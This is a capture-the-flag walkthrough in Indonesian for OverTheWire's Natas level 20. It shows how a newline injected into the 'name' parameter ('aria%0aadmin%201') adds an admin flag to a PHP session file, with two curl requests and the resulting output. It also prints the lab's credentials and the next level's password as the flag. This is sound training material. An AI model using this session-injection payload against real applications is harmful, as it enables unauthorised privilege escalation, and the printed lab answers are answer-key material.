Natas
Level 20
soal
Username: natas20 URL: http://natas20.natas.labs.overthewire.org
solve
- login with cred http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org
- Jika kita cek source code PHP (melalui hint yang ada di level ini), terlihat bahwa aplikasi menggunakan session yang disimpan di server (/var/lib/php5/sessions). Isi session di-generate dari parameter name yang kita submit.
- Ada potongan kode seperti:
if(array_key_exists("name", $_REQUEST)) { $_SESSION["name"] = $_REQUEST["name"]; } if(array_key_exists("admin", $_SESSION) && $_SESSION["admin"] == 1) { print "You are an admin."; }
➡️ Artinya: jika kita bisa memanipulasi session supaya punya key admin=1, kita bisa jadi admin dan mendapatkan password ke level berikutnya.
- Masalahnya, session file ditulis langsung dari input tanpa filtering. Jadi kita bisa menyuntikkan newline (\n atau %0A) untuk memecah format session dan menambahkan variabel baru.
Eksploitasi
Triknya: lakukan dua kali request.
- Request pertama → injeksikan session supaya ada variable admin=1.
- Request kedua → gunakan cookie dari request pertama, maka server akan membaca session yang sudah terinjeksi.
natas20.natas.labs.overthewire.org/index.php?debug&name=aria%0aadmin%201atau gunakan curl 2 kal ini
# Request pertama (set nilai di session)
curl -i -s -c /tmp/cookie.txt -d "name=aria%0aadmin%201" \
http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org/ > /dev/null
# Request kedua (gunakan cookie tadi)
curl -i -s -b /tmp/cookie.txt \
http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org/ | grep -i "password" -B 1outputnya:
You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH</pre>flag
BPhv63cKE1lkQl04cE5CuFTzXe15NfiH